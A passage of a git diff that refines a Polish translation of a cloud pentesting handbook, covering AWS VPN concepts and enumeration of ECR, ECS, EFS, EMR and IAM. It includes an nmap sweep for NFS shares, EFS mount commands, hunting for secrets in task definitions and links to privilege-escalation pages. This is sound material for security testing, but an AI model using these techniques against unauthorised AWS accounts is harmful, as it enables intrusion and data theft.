synchronizacji czasu Amazon. +- Następujący ruch nie jest monitorowany i rejestrowany przez logi. Ruch DHCP w ramach VPC, ruch z instancji skierowany do serwera DNS Amazon. +- Wszelki ruch skierowany do adresu IP domyślnego routera VPC oraz ruch do i z następujących adresów, 169.254.169.254, który jest używany do zbierania metadanych instancji, oraz 169.254.169.123, który jest używany do usługi synchronizacji czasu Amazon. - Ruch związany z licencją aktywacyjną systemu Windows Amazon z instancji Windows. -- Ruch między interfejsem równoważnika obciążenia sieciowego a interfejsem punktu końcowego sieciowego. +- Ruch między interfejsem równoważenia obciążenia sieciowego a interfejsem sieciowym punktu końcowego. -Dla każdego interfejsu sieciowego, który publikuje dane do grupy logów CloudWatch, będzie używany inny strumień logów. A w każdym z tych strumieni będą dane zdarzeń logów przepływu, które pokazują zawartość wpisów logów. Każdy z tych **logów rejestruje dane w oknie trwającym około 10 do 15 minut**. +Dla każdego interfejsu sieciowego, który publikuje dane do grupy logów CloudWatch, będzie używany inny strumień logów. A w ramach każdego z tych strumieni będą dane zdarzeń logów przepływu, które pokazują zawartość wpisów logów. Każdy z tych **logów rejestruje dane w oknie czasowym wynoszącym około 10 do 15 minut**. ## VPN -### Podstawowe komponenty AWS VPN +### Basic AWS VPN Components -1. **Brama klienta**: -- Brama klienta to zasób, który tworzysz w AWS, aby reprezentować swoją stronę połączenia VPN. +1. **Customer Gateway**: +- Customer Gateway to zasób, który tworzysz w AWS, aby reprezentować swoją stronę połączenia VPN. - Jest to zasadniczo fizyczne urządzenie lub aplikacja programowa po twojej stronie połączenia VPN Site-to-Site. -- Podajesz informacje o routingu i publiczny adres IP swojego urządzenia sieciowego (takiego jak router lub zapora) do AWS, aby utworzyć Bramę klienta. +- Podajesz informacje o routingu i publiczny adres IP swojego urządzenia sieciowego (takiego jak router lub zapora) do AWS, aby utworzyć Customer Gateway. - Służy jako punkt odniesienia do skonfigurowania połączenia VPN i nie generuje dodatkowych opłat. -2. **Wirtualna brama prywatna**: +2. **Virtual Private Gateway**: - Wirtualna brama prywatna (VPG) to koncentrator VPN po stronie Amazon w połączeniu VPN Site-to-Site. - Jest podłączona do twojego VPC i służy jako cel dla twojego połączenia VPN. - VPG jest punktem końcowym po stronie AWS dla połączenia VPN. - Obsługuje bezpieczną komunikację między twoim VPC a twoją siecią lokalną. -3. **Połączenie VPN Site-to-Site**: +3. **Site-to-Site VPN Connection**: - Połączenie VPN Site-to-Site łączy twoją lokalną sieć z VPC przez bezpieczny tunel VPN IPsec. -- Ten typ połączenia wymaga Bramy klienta i Wirtualnej bramy prywatnej. +- Ten typ połączenia wymaga Customer Gateway i Wirtualnej Bramy Prywatnej. - Jest używany do bezpiecznej, stabilnej i spójnej komunikacji między twoim centrum danych lub siecią a twoim środowiskiem AWS. - Zwykle używany do regularnych, długoterminowych połączeń i jest rozliczany na podstawie ilości danych przesyłanych przez połączenie. -4. **Punkt końcowy VPN klienta**: -- Punkt końcowy VPN klienta to zasób, który tworzysz w AWS, aby umożliwić i zarządzać sesjami VPN klientów. +4. **Client VPN Endpoint**: +- Punkt końcowy Client VPN to zasób, który tworzysz w AWS, aby umożliwić i zarządzać sesjami VPN klientów. - Jest używany do umożliwienia indywidualnym urządzeniom (takim jak laptopy, smartfony itp.) bezpiecznego połączenia z zasobami AWS lub twoją lokalną siecią. - Różni się od VPN Site-to-Site tym, że jest zaprojektowany dla indywidualnych klientów, a nie do łączenia całych sieci. -- Z VPN klienta każde urządzenie klienckie używa oprogramowania klienta VPN do nawiązania bezpiecznego połączenia. +- Z Client VPN każde urządzenie klienckie używa oprogramowania klienta VPN do nawiązania bezpiecznego połączenia. -### VPN Site-to-Site +### Site-to-Site VPN **Połącz swoją lokalną sieć z twoim VPC.** @@ -142,12 +142,12 @@ Dla każdego interfejsu sieciowego, który publikuje dane do grupy logów CloudW Każde połączenie VPN zawiera dwa tunele VPN, które możesz jednocześnie używać dla wysokiej dostępności. -- **Brama klienta**: Zasób AWS, który dostarcza informacje do AWS o twoim urządzeniu bramy klienta. -- **Urządzenie bramy klienta**: Fizyczne urządzenie lub aplikacja programowa po twojej stronie połączenia VPN Site-to-Site. -- **Wirtualna brama prywatna**: Koncentrator VPN po stronie Amazon w połączeniu VPN Site-to-Site. Używasz wirtualnej bramy prywatnej lub bramy tranzytowej jako bramy po stronie Amazon w połączeniu VPN Site-to-Site. -- **Brama tranzytowa**: Hub tranzytowy, który może być używany do łączenia twoich VPC i lokalnych sieci. Używasz bramy tranzytowej lub wirtualnej bramy prywatnej jako bramy po stronie Amazon w połączeniu VPN Site-to-Site. +- **Customer gateway**: Zasób AWS, który dostarcza informacje do AWS o twoim urządzeniu bramy klienta. +- **Customer gateway device**: Fizyczne urządzenie lub aplikacja programowa po twojej stronie połączenia VPN Site-to-Site. +- **Virtual private gateway**: Koncentrator VPN po stronie Amazon w połączeniu VPN Site-to-Site. Używasz wirtualnej bramy prywatnej lub bramy tranzytowej jako bramy po stronie Amazon w połączeniu VPN Site-to-Site. +- **Transit gateway**: Hub tranzytowy, który może być używany do łączenia twoich VPC i lokalnych sieci. Używasz bramy tranzytowej lub wirtualnej bramy prywatnej jako bramy po stronie Amazon w połączeniu VPN Site-to-Site. -#### Ograniczenia +#### Limitations - Ruch IPv6 nie jest obsługiwany dla połączeń VPN na wirtualnej bramie prywatnej. - Połączenie VPN AWS nie obsługuje odkrywania MTU ścieżki. @@ -156,34 +156,34 @@ Dodatkowo, weź pod uwagę następujące kwestie, gdy używasz VPN Site-to-Site. - Podczas łączenia swoich VPC z wspólną lokalną siecią, zalecamy użycie niepokrywających się bloków CIDR dla twoich sieci. -### VPN klienta +### Client VPN **Połącz się z twojego urządzenia z twoim VPC** -#### Koncepcje +#### Concepts -- **Punkt końcowy VPN klienta:** Zasób, który tworzysz i konfigurujesz, aby umożliwić i zarządzać sesjami VPN klientów. To zasób, w którym kończą się wszystkie sesje VPN klientów. -- **Sieć docelowa:** Sieć docelowa to sieć, którą kojarzysz z punktem końcowym VPN klienta. **Podsieć z VPC jest siecią docelową**. Powiązanie podsieci z punktem końcowym VPN klienta umożliwia nawiązanie sesji VPN. Możesz powiązać wiele podsieci z punktem końcowym VPN klienta dla wysokiej dostępności. Wszystkie podsieci muszą pochodzić z tego samego VPC. Każda podsieć musi należeć do innej strefy dostępności. -- **Trasa**: Każdy punkt końcowy VPN klienta ma tablicę tras, która opisuje dostępne trasy sieciowe. Każda trasa w tablicy tras określa ścieżkę dla ruchu do określonych zasobów lub sieci. -- **Zasady autoryzacji:** Zasada autoryzacji **ogranicza użytkowników, którzy mogą uzyskać dostęp do sieci**. Dla określonej sieci konfigurujesz grupę Active Directory lub dostawcy tożsamości (IdP), która ma dostęp. Tylko użytkownicy należący do tej grupy mogą uzyskać dostęp do określonej sieci. **Domyślnie nie ma zasad autoryzacji** i musisz skonfigurować zasady autoryzacji, aby umożliwić użytkownikom dostęp do zasobów i sieci. -- **Klient:** Użytkownik końcowy łączący się z punktem końcowym VPN klienta, aby nawiązać sesję VPN. Użytkownicy końcowi muszą pobrać klienta OpenVPN i użyć pliku konfiguracyjnego punktu końcowego VPN klienta, który utworzyłeś, aby nawiązać sesję VPN. -- **Zakres CIDR klienta:** Zakres adresów IP, z którego przypisujesz adresy IP klientom. Każde połączenie z punktem końcowym VPN klienta otrzymuje unikalny adres IP z zakresu CIDR klienta. Wybierasz zakres CIDR klienta, na przykład `10.2.0.0/16`. -- **Porty VPN klienta:** AWS Client VPN obsługuje porty 443 i 1194 zarówno dla TCP, jak i UDP. Domyślnie jest to port 443. -- **Interfejsy sieciowe VPN klienta:** Gdy powiążesz podsieć z punktem końcowym VPN klienta, tworzymy interfejsy sieciowe VPN klienta w tej podsieci. **Ruch, który jest wysyłany do VPC z punktu końcowego VPN klienta, jest wysyłany przez interfejs sieciowy VPN klienta**. Następnie stosuje się translację adresu źródłowego (SNAT), gdzie adres IP źródłowy z zakresu CIDR klienta jest tłumaczony na adres IP interfejsu sieciowego VPN klienta. -- **Rejestrowanie połączeń:** Możesz włączyć rejestrowanie połączeń dla swojego punktu końcowego VPN klienta, aby rejestrować zdarzenia połączeń. Możesz użyć tych informacji do przeprowadzania analizy, analizowania, jak twój punkt końcowy VPN klienta jest używany, lub debugowania problemów z połączeniem. -- **Portal samoobsługowy:** Możesz włączyć portal samoobsługowy dla swojego punktu końcowego VPN klienta. Klienci mogą zalogować się do portalu internetowego, używając swoich danych uwierzytelniających, i pobrać najnowszą wersję pliku konfiguracyjnego punktu końcowego VPN klienta lub najnowszą wersję klienta dostarczonego przez AWS. +- **Client VPN endpoint:** Zasób, który tworzysz i konfigurujesz, aby umożliwić i zarządzać sesjami VPN klientów. To zasób, w którym kończą się wszystkie sesje VPN klientów. +- **Target network:** Sieć docelowa to sieć, którą kojarzysz z punktem końcowym Client VPN. **Podsieć z VPC jest siecią docelową**. Powiązanie podsieci z punktem końcowym Client VPN umożliwia nawiązanie sesji VPN. Możesz powiązać wiele podsieci z punktem końcowym Client VPN dla wysokiej dostępności. Wszystkie podsieci muszą pochodzić z tego samego VPC. Każda podsieć musi należeć do innej strefy dostępności. +- **Route**: Każdy punkt końcowy Client VPN ma tablicę routingu, która opisuje dostępne trasy sieciowe. Każda trasa w tablicy routingu określa ścieżkę dla ruchu do określonych zasobów lub sieci. +- **Authorization rules:** Zasada autoryzacji **ogranicza użytkowników, którzy mogą uzyskać dostęp do sieci**. Dla określonej sieci konfigurujesz grupę Active Directory lub dostawcy tożsamości (IdP), która ma dostęp. Tylko użytkownicy należący do tej grupy mogą uzyskać dostęp do określonej sieci. **Domyślnie nie ma zasad autoryzacji** i musisz skonfigurować zasady autoryzacji, aby umożliwić użytkownikom dostęp do zasobów i sieci. +- **Client:** Użytkownik końcowy łączący się z punktem końcowym Client VPN, aby nawiązać sesję VPN. Użytkownicy końcowi muszą pobrać klienta OpenVPN i użyć pliku konfiguracyjnego Client VPN, który utworzyłeś, aby nawiązać sesję VPN. +- **Client CIDR range:** Zakres adresów IP, z którego przypisujesz adresy IP klientom. Każde połączenie z punktem końcowym Client VPN otrzymuje unikalny adres IP z zakresu CIDR klienta. Wybierasz zakres CIDR klienta, na przykład `10.2.0.0/16`. +- **Client VPN ports:** AWS Client VPN obsługuje porty 443 i 1194 zarówno dla TCP, jak i UDP. Domyślnie jest to port 443. +- **Client VPN network interfaces:** Gdy powiążesz podsieć z punktem końcowym Client VPN, tworzymy interfejsy sieciowe Client VPN w tej podsieci. **Ruch, który jest wysyłany do VPC z punktu końcowego Client VPN, jest wysyłany przez interfejs sieciowy Client VPN**. Następnie stosuje się translację adresu źródłowego (SNAT), gdzie adres IP źródłowego z zakresu CIDR klienta jest tłumaczony na adres IP interfejsu sieciowego Client VPN. +- **Connection logging:** Możesz włączyć rejestrowanie połączeń dla swojego punktu końcowego Client VPN, aby rejestrować zdarzenia połączeń. Możesz użyć tych informacji do przeprowadzania analiz, analizowania, jak twój punkt końcowy Client VPN jest używany, lub debugowania problemów z połączeniem. +- **Self-service portal:** Możesz włączyć portal samoobsługowy dla swojego punktu końcowego Client VPN. Klienci mogą zalogować się do portalu internetowego, używając swoich danych uwierzytelniających, i pobrać najnowszą wersję pliku konfiguracyjnego punktu końcowego Client VPN lub najnowszą wersję klienta dostarczonego przez AWS. -#### Ograniczenia +#### Limitations -- **Zakresy CIDR klienta nie mogą pokrywać się z lokalnym CIDR** VPC, w którym znajduje się powiązana podsieć, ani z żadnymi trasami ręcznie dodanymi do tablicy tras punktu końcowego VPN klienta. +- **Zakresy CIDR klienta nie mogą pokrywać się z lokalnym CIDR** VPC, w którym znajduje się powiązana podsieć, ani z żadnymi trasami ręcznie dodanymi do tablicy routingu punktu końcowego Client VPN. - Zakresy CIDR klienta muszą mieć rozmiar bloku **co najmniej /22** i **nie mogą być większe niż /12.** -- **Część adresów** w zakresie CIDR klienta jest używana do **wsparcia modelu dostępności** punktu końcowego VPN klienta i nie może być przypisana klientom. Dlatego zalecamy, abyś **przypisał blok CIDR, który zawiera dwukrotność liczby adresów IP, które są wymagane**, aby umożliwić maksymalną liczbę jednoczesnych połączeń, które planujesz obsługiwać na punkcie końcowym VPN klienta. -- **Zakres CIDR klienta nie może być zmieniony** po utworzeniu punktu końcowego VPN klienta. -- **Podsieci** powiązane z punktem końcowym VPN klienta **muszą znajdować się w tym samym VPC**. -- **Nie możesz powiązać wielu podsieci z tej samej strefy dostępności z punktem końcowym VPN klienta**. -- Punkt końcowy VPN klienta **nie obsługuje powiązań podsieci w VPC z dedykowanym najmem**. -- VPN klienta obsługuje **tylko** ruch IPv4. -- VPN klienta **nie jest** zgodny z Federal Information Processing Standards (**FIPS**). +- **Część adresów** w zakresie CIDR klienta jest używana do **wsparcia modelu dostępności** punktu końcowego Client VPN i nie może być przypisana do klientów. Dlatego zalecamy, abyś **przypisał blok CIDR, który zawiera dwukrotność liczby adresów IP, które są wymagane** do umożliwienia maksymalnej liczby jednoczesnych połączeń, które planujesz obsługiwać na punkcie końcowym Client VPN. +- **Zakres CIDR klienta nie może być zmieniony** po utworzeniu punktu końcowego Client VPN. +- **Podsieci** powiązane z punktem końcowym Client VPN **muszą znajdować się w tym samym VPC**. +- **Nie możesz powiązać wielu podsieci z tej samej strefy dostępności z punktem końcowym Client VPN**. +- Punkt końcowy Client VPN **nie obsługuje powiązań podsieci w VPC z dedykowanym najmem**. +- Client VPN obsługuje **tylko** ruch IPv4. +- Client VPN **nie jest** zgodny z Federal Information Processing Standards (**FIPS**). - Jeśli uwierzytelnianie wieloskładnikowe (MFA) jest wyłączone dla twojej Active Directory, hasło użytkownika nie może być w następującym formacie. ``` diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md index 937588507..397dd3246 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md @@ -8,7 +8,7 @@ #### Podstawowe informacje -Amazon **Elastic Container Registry** (Amazon ECR) to **zarządzana usługa rejestru obrazów kontenerów**. Została zaprojektowana, aby zapewnić środowisko, w którym klienci mogą interagować ze swoimi obrazami kontenerów za pomocą znanych interfejsów. W szczególności wspierane jest użycie Docker CLI lub dowolnego preferowanego klienta, co umożliwia takie działania jak przesyłanie, pobieranie i zarządzanie obrazami kontenerów. +Amazon **Elastic Container Registry** (Amazon ECR) to **zarządzana usługa rejestru obrazów kontenerów**. Została zaprojektowana, aby zapewnić środowisko, w którym klienci mogą interagować ze swoimi obrazami kontenerów za pomocą znanych interfejsów. W szczególności wspierane jest użycie Docker CLI lub dowolnego preferowanego klienta, co umożliwia działania takie jak przesyłanie, pobieranie i zarządzanie obrazami kontenerów. ECR składa się z 2 typów obiektów: **Rejestrów** i **Repozytoriów**. @@ -20,7 +20,7 @@ Każde konto AWS ma 2 rejestry: **Prywatne** i **Publiczne**. - **Prywatne domyślnie**: Obrazy kontenerów przechowywane w prywatnym rejestrze Amazon ECR są **dostępne tylko dla autoryzowanych użytkowników** w Twoim koncie AWS lub dla tych, którym przyznano uprawnienia. - URI **prywatnego repozytorium** ma format `.dkr.ecr..amazonaws.com/` -- **Kontrola dostępu**: Możesz **kontrolować dostęp** do swoich prywatnych obrazów kontenerów za pomocą **polityk IAM**, a także możesz skonfigurować szczegółowe uprawnienia w oparciu o użytkowników lub role. +- **Kontrola dostępu**: Możesz **kontrolować dostęp** do swoich prywatnych obrazów kontenerów za pomocą **polityk IAM**, a także skonfigurować szczegółowe uprawnienia w oparciu o użytkowników lub role. - **Integracja z usługami AWS**: Prywatne rejestry Amazon ECR mogą być łatwo **integrowane z innymi usługami AWS**, takimi jak EKS, ECS... - **Inne opcje prywatnych rejestrów**: - Kolumna immutability tagu wskazuje jego status, jeśli immutability tagu jest włączone, **zapobiegnie** to **przesyłaniu** obrazów z **istniejącymi tagami**, które mogłyby nadpisać obrazy. @@ -31,8 +31,8 @@ Każde konto AWS ma 2 rejestry: **Prywatne** i **Publiczne**. 2. **Publiczne rejestry**: -- **Publiczna dostępność**: Obrazy kontenerów przechowywane w publicznym rejestrze ECR są **dostępne dla każdego w internecie bez uwierzytelnienia.** -- URI **publicznego repozytorium** jest jak `public.ecr.aws//`. Chociaż część `` może być zmieniona przez administratora na inny łatwiejszy do zapamiętania ciąg. +- **Publiczny dostęp**: Obrazy kontenerów przechowywane w publicznym rejestrze ECR są **dostępne dla każdego w internecie bez uwierzytelnienia.** +- URI **publicznego repozytorium** jest jak `public.ecr.aws//`. Chociaż część `` może być zmieniana przez administratora na inny łatwiejszy do zapamiętania ciąg. **Repozytoria** diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md index a87441a59..c0235fc6e 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md @@ -10,14 +10,14 @@ Amazon **Elastic Container Services** lub ECS zapewnia platformę do **hostowani ECS działa na podstawie trzech podstawowych elementów: **Klasterów**, **Usług** i **Definicji zadań**. -- **Klaster** to **grupa kontenerów**, które działają w chmurze. Jak wcześniej wspomniano, istnieją dwa typy uruchamiania kontenerów, EC2 i Fargate. AWS definiuje typ uruchamiania **EC2** jako umożliwiający klientom „uruchamianie \[ich\] aplikacji kontenerowych na klastrze instancji Amazon EC2, które \[oni\] **zarządzają**”. **Fargate** jest podobny i definiowany jest jako „\[umożliwiający\] uruchamianie aplikacji kontenerowych **bez potrzeby provisionowania i zarządzania** infrastrukturą zaplecza”. -- **Usługi** są tworzone wewnątrz klastra i odpowiedzialne za **uruchamianie zadań**. W definicji usługi **definiujesz liczbę zadań do uruchomienia, automatyczne skalowanie, dostawcę pojemności (Fargate/EC2/Zewnętrzny),** **informacje o sieci**, takie jak VPC, podsieci i grupy zabezpieczeń. +- **Klastry** to **grupy kontenerów**, które działają w chmurze. Jak wcześniej wspomniano, istnieją dwa typy uruchamiania kontenerów, EC2 i Fargate. AWS definiuje typ uruchamiania **EC2** jako umożliwiający klientom „uruchamianie \[ich\] aplikacji kontenerowych na klastrze instancji Amazon EC2, które \[oni\] **zarządzają**”. **Fargate** jest podobny i definiowany jest jako „\[umożliwiający\] uruchamianie aplikacji kontenerowych **bez potrzeby provisionowania i zarządzania** infrastrukturą zaplecza”. +- **Usługi** są tworzone wewnątrz klastra i odpowiedzialne za **uruchamianie zadań**. W definicji usługi **definiujesz liczbę zadań do uruchomienia, automatyczne skalowanie, dostawcę pojemności (Fargate/EC2/Zewnętrzny),** **informacje o sieci** takie jak VPC, podsieci i grupy zabezpieczeń. - Istnieją **2 typy aplikacji**: - **Usługa**: Grupa zadań obsługujących długoterminową pracę obliczeniową, którą można zatrzymać i wznowić. Na przykład aplikacja internetowa. - **Zadanie**: Samodzielne zadanie, które działa i kończy się. Na przykład zadanie wsadowe. - Wśród aplikacji usługowych istnieją **2 typy harmonogramów usług**: -- [**REPLIKA**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html): Strategia harmonogramowania replik umieszcza i **utrzymuje pożądaną liczbę** zadań w całym klastrze. Jeśli z jakiegoś powodu zadanie zostanie zamknięte, uruchamiane jest nowe w tym samym lub innym węźle. -- [**DAEMON**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html): Uruchamia dokładnie jedno zadanie na każdej aktywnej instancji kontenera, która ma wymagane zasoby. Nie ma potrzeby określania pożądanej liczby zadań, strategii umieszczania zadań ani korzystania z polityk automatycznego skalowania usług. +- [**REPLIKA**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html): Strategia harmonogramu repliki umieszcza i **utrzymuje pożądaną liczbę** zadań w całym klastrze. Jeśli z jakiegoś powodu zadanie zostanie zamknięte, uruchamiane jest nowe w tym samym lub innym węźle. +- [**DAEMON**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html): Uruchamia dokładnie jedno zadanie na każdej aktywnej instancji kontenera, która ma wymagane wymagania. Nie ma potrzeby określania pożądanej liczby zadań, strategii umieszczania zadań ani korzystania z polityk automatycznego skalowania usług. - **Definicje zadań** są odpowiedzialne za **definiowanie, jakie kontenery będą uruchamiane** oraz różne parametry, które będą konfigurowane z kontenerami, takie jak **mapowania portów** z hostem, **zmienne środowiskowe**, Docker **entrypoint**... - Sprawdź **zmienne środowiskowe pod kątem wrażliwych informacji**! @@ -59,7 +59,7 @@ aws ecs describe-task-definition --task-definition : ### Podwyższenie uprawnień -Na poniższej stronie możesz sprawdzić, jak **nadużyć uprawnień ECS, aby podnieść uprawnienia**: +Na poniższej stronie możesz sprawdzić, jak **wykorzystać uprawnienia ECS do podwyższenia uprawnień**: {{#ref}} ../aws-privilege-escalation/aws-ecs-privesc.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md index bd1d2aa4b..f041457ee 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md @@ -38,8 +38,8 @@ aws efs describe-replication-configurations # Search for NFS in EC2 networks sudo nmap -T4 -Pn -p 2049 --open 10.10.10.0/20 # or /16 to be sure ``` -> [!OSTRZEŻENIE] -> Może się zdarzyć, że punkt montowania EFS znajduje się w tej samej VPC, ale w innej podsieci. Jeśli chcesz mieć pewność, że znajdziesz wszystkie **punkty EFS, lepiej zeskanować maskę sieciową `/16`**. +> [!CAUTION] +> Może się zdarzyć, że punkt montowania EFS znajduje się w tej samej VPC, ale w innej podsieci. Jeśli chcesz mieć pewność, że znajdziesz wszystkie **punkty EFS, lepiej byłoby przeskanować maskę sieciową `/16`**. ### Montowanie EFS ```bash @@ -57,7 +57,7 @@ sudo mount -t efs :/ /efs/ ``` ### IAM Access -Domyślnie każdy, kto ma dostęp do sieci EFS, będzie mógł zamontować, **czytać i pisać, nawet jako użytkownik root**. Jednak polityki systemu plików mogą być wprowadzone, **pozwalając tylko podmiotom z określonymi uprawnieniami** na dostęp do niego.\ +Domyślnie każdy, kto ma dostęp do sieci EFS, będzie mógł zamontować, **czytać i pisać, nawet jako użytkownik root**. Jednak polityki systemu plików mogą być wprowadzone, **zezwalając tylko na dostęp dla podmiotów z określonymi uprawnieniami**.\ Na przykład, ta polityka systemu plików **nie pozwoli nawet na zamontowanie** systemu plików, jeśli **nie masz uprawnienia IAM**: ```json { @@ -96,7 +96,7 @@ sudo mount -t efs -o tls,iam :/ /efs/ **Punkty dostępu** to **specyficzne dla aplikacji** punkty wejścia **do systemu plików EFS**, które ułatwiają zarządzanie dostępem aplikacji do wspólnych zbiorów danych. -Kiedy tworzysz punkt dostępu, możesz **określić właściciela i uprawnienia POSIX** dla plików i katalogów tworzonych przez punkt dostępu. Możesz również **zdefiniować niestandardowy katalog główny** dla punktu dostępu, określając istniejący katalog lub tworząc nowy z pożądanymi uprawnieniami. Umożliwia to **kontrolowanie dostępu do systemu plików EFS na poziomie aplikacji lub użytkownika**, co ułatwia zarządzanie i zabezpieczanie wspólnych danych plikowych. +Kiedy tworzysz punkt dostępu, możesz **określić właściciela i uprawnienia POSIX** dla plików i katalogów tworzonych przez punkt dostępu. Możesz również **zdefiniować niestandardowy katalog główny** dla punktu dostępu, albo poprzez określenie istniejącego katalogu, albo poprzez utworzenie nowego z pożądanymi uprawnieniami. Umożliwia to **kontrolowanie dostępu do systemu plików EFS na poziomie aplikacji lub użytkownika**, co ułatwia zarządzanie i zabezpieczanie wspólnych danych plikowych. **Możesz zamontować system plików z punktu dostępu za pomocą czegoś takiego:** ```bash diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md index 640df68d0..5a7979777 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md @@ -90,13 +90,13 @@ aws elasticbeanstalk describe-events ../aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md {{#endref}} -### Utrzymywanie dostępu +### Utrzymywanie {{#ref}} ../aws-persistence/aws-elastic-beanstalk-persistence.md {{#endref}} -### Eskalacja uprawnień +### Podniesienie uprawnień {{#ref}} ../aws-privilege-escalation/aws-elastic-beanstalk-privesc.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md index 975cf1344..a31125bb8 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md @@ -4,14 +4,14 @@ ## EMR -Usługa Elastic MapReduce (EMR) AWS, począwszy od wersji 4.8.0, wprowadziła funkcję **konfiguracji zabezpieczeń**, która zwiększa ochronę danych, umożliwiając użytkownikom określenie ustawień szyfrowania dla danych w spoczynku i w tranzycie w klastrach EMR, które są skalowalnymi grupami instancji EC2 zaprojektowanymi do przetwarzania dużych zbiorów danych w ramach takich jak Apache Hadoop i Spark. +Usługa Elastic MapReduce (EMR) AWS, począwszy od wersji 4.8.0, wprowadziła funkcję **konfiguracji zabezpieczeń**, która zwiększa ochronę danych, umożliwiając użytkownikom określenie ustawień szyfrowania dla danych w spoczynku i w tranzycie w klastrach EMR, które są skalowalnymi grupami instancji EC2 zaprojektowanymi do przetwarzania dużych zbiorów danych, takich jak Apache Hadoop i Spark. Kluczowe cechy obejmują: - **Domyślne szyfrowanie klastra**: Domyślnie dane w spoczynku w klastrze nie są szyfrowane. Jednak włączenie szyfrowania zapewnia dostęp do kilku funkcji: -- **Zunifikowane ustawienie klucza Linux**: Szyfruje wolumeny klastra EBS. Użytkownicy mogą wybrać AWS Key Management Service (KMS) lub niestandardowego dostawcę kluczy. +- **Ujednolicona konfiguracja kluczy Linux**: Szyfruje wolumeny EBS klastra. Użytkownicy mogą wybrać AWS Key Management Service (KMS) lub niestandardowego dostawcę kluczy. - **Szyfrowanie HDFS open-source**: Oferuje dwie opcje szyfrowania dla Hadoop: -- Bezpieczny Hadoop RPC (Remote Procedure Call), ustawiony na prywatność, wykorzystujący Simple Authentication Security Layer. +- Bezpieczne wywołanie procedury zdalnej Hadoop (RPC), ustawione na prywatność, wykorzystujące warstwę zabezpieczeń prostego uwierzytelniania. - Szyfrowanie transferu bloków HDFS, ustawione na true, wykorzystuje algorytm AES-256. - **Szyfrowanie w tranzycie**: Skupia się na zabezpieczaniu danych podczas transferu. Opcje obejmują: - **Open Source Transport Layer Security (TLS)**: Szyfrowanie można włączyć, wybierając dostawcę certyfikatów: @@ -22,17 +22,17 @@ Po zintegrowaniu dostawcy certyfikatów TLS w konfiguracji zabezpieczeń można - **Hadoop**: - Może zmniejszyć szyfrowany shuffle przy użyciu TLS. -- Bezpieczny Hadoop RPC z Simple Authentication Security Layer i transfer bloków HDFS z AES-256 są aktywowane przy szyfrowaniu w spoczynku. +- Bezpieczne wywołanie procedury zdalnej Hadoop z warstwą zabezpieczeń prostego uwierzytelniania i transfer bloków HDFS z AES-256 są aktywowane przy szyfrowaniu w spoczynku. - **Presto** (wersja EMR 5.6.0+): - Wewnętrzna komunikacja między węzłami Presto jest zabezpieczona przy użyciu SSL i TLS. - **Tez Shuffle Handler**: - Wykorzystuje TLS do szyfrowania. - **Spark**: - Wykorzystuje TLS dla protokołu Akka. -- Używa Simple Authentication Security Layer i 3DES dla usługi transferu bloków. -- Zewnętrzna usługa shuffle jest zabezpieczona przy użyciu Simple Authentication Security Layer. +- Używa warstwy zabezpieczeń prostego uwierzytelniania i 3DES dla usługi transferu bloków. +- Zewnętrzna usługa shuffle jest zabezpieczona warstwą zabezpieczeń prostego uwierzytelniania. -Te funkcje wspólnie zwiększają bezpieczeństwo klastrów EMR, szczególnie w zakresie ochrony danych podczas faz przechowywania i transmisji. +Te funkcje wspólnie zwiększają bezpieczeństwo klastrów EMR, szczególnie w zakresie ochrony danych podczas przechowywania i transmisji. #### Enumeration ```bash diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md index c18569666..b5ec31d8b 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md @@ -108,7 +108,7 @@ python3 aws_permissions_checker.py --profile [--arn ] ``` #### Perms2ManagedPolicies -Jeśli znalazłeś **jakieś uprawnienia, które ma twój użytkownik**, i uważasz, że są one przyznawane przez **zarządzaną rolę AWS** (a nie przez niestandardową). Możesz użyć narzędzia [**aws-Perms2ManagedRoles**](https://github.com/carlospolop/aws-Perms2ManagedPolicies), aby sprawdzić wszystkie **zarządzane role AWS, które przyznają uprawnienia, które odkryłeś, że posiadasz**. +Jeśli znalazłeś **jakieś uprawnienia, które ma twój użytkownik**, i myślisz, że są one przyznawane przez **zarządzaną rolę AWS** (a nie przez niestandardową). Możesz użyć narzędzia [**aws-Perms2ManagedRoles**](https://github.com/carlospolop/aws-Perms2ManagedPolicies), aby sprawdzić wszystkie **zarządzane role AWS, które przyznają uprawnienia, które odkryłeś, że posiadasz**. ```bash # Run example with my profile python3 aws-Perms2ManagedPolicies.py --profile myadmin --permissions-file example-permissions.txt @@ -118,7 +118,7 @@ python3 aws-Perms2ManagedPolicies.py --profile myadmin --permissions-file exampl #### Cloudtrail2IAM -[**CloudTrail2IAM**](https://github.com/carlospolop/Cloudtrail2IAM) to narzędzie w Pythonie, które analizuje **logi AWS 